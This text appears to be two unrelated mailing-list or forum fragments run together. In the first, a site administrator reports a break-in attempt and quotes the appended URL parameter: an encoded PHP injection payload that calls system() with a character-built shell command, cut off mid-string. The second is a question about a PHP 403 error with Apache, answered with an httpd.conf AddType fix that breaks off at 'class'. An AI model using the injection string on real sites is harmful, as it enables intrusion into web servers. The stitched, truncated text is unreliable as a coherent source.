One of the sites I manage has had what appears to be some kind of
attempt to break in by appending the following to some php related url.
&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr
(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr(73)%
252echr(78)%252ech
hi
I have just installed php to use with the apache server, when I test apache
through localhost its message says it works, but when I test php through
lochost slash test.php the message comes back saying you are not authorized
to use this page error http 403 can anyone help . thanks in advance.
Try adding this string to httpd.conf ( you can put it right after the
LoadModule directive for PHP4)
AddType application/x-httpd-php php
Restart Apache and let me know if anything changes - I can't find this line
in your httpd.conf file and it's required so Apache knows what should be
class
